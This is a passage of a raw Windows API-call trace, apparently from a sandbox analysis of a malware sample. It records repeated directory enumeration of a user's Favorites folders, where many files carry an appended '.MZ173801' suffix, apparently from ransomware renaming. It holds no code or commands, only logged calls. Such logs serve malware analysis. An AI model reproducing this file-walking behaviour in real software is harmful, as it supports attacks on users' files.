nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.313] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.313] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.313] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6d30ac0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.313] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.314] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.314] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d0a960, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Get Windows Live.url.MZ173801", cAlternateFileName="GETWIN~1.MZ1")) returned 1 [0144.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.314] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.314] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d0a960, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Gallery.url.MZ173801", cAlternateFileName="WINDOW~1.MZ1")) returned 1 [0144.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.314] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.314] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Mail.url.MZ173801", cAlternateFileName="WINDOW~2.MZ1")) returned 1 [0144.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.314] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.314] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url.MZ173801", cAlternateFileName="WINDOW~3.MZ1")) returned 1 [0144.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.314] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.314] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url.MZ173801", cAlternateFileName="WINDOW~3.MZ1")) returned 0 [0144.314] GetLastError () returned 0x12 [0144.314] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.314] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0144.314] GetLastError () returned 0x12 [0144.314] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0144.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 1 [0144.314] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites")) returned 0x11 [0144.314] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 1 [0144.314] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0144.314] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0144.315] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.315] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0144.315] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.315] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6bd9e60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Links", cAlternateFileName="")) returned 1 [0144.315] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6c4c280, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0144.315] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6ce4800, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0144.315] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6d30ac0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0144.315] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6d30ac0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0144.315] GetLastError () returned 0x12 [0144.315] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0144.315] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0144.315] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0144.315] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.315] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0144.315] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.315] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.315] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.315] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6bd9e60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Links", cAlternateFileName="")) returned 1 [0144.315] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.315] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.315] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6bd9e60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.315] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6bd9e60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.315] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.316] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.316] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.316] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Suggested Sites.url.MZ173801", cAlternateFileName="SUGGES~1.MZ1")) returned 1 [0144.316] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.316] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.316] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url.MZ173801", cAlternateFileName="WEBSLI~1.MZ1")) returned 1 [0144.316] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.316] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.316] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url.MZ173801", cAlternateFileName="WEBSLI~1.MZ1")) returned 0 [0144.316] GetLastError () returned 0x12 [0144.316] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.316] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6bd9e60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.316] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.316] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.316] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6bd9e60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.316] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.316] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.316] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.316] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Suggested Sites.url.MZ173801", cAlternateFileName="SUGGES~1.MZ1")) returned 1 [0144.316] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.316] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.316] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url.MZ173801", cAlternateFileName="WEBSLI~1.MZ1")) returned 1 [0144.316] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.316] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.316] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url.MZ173801", cAlternateFileName="WEBSLI~1.MZ1")) returned 0 [0144.317] GetLastError () returned 0x12 [0144.317] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.317] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6c4c280, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0144.317] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.317] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.317] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6c4c280, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, 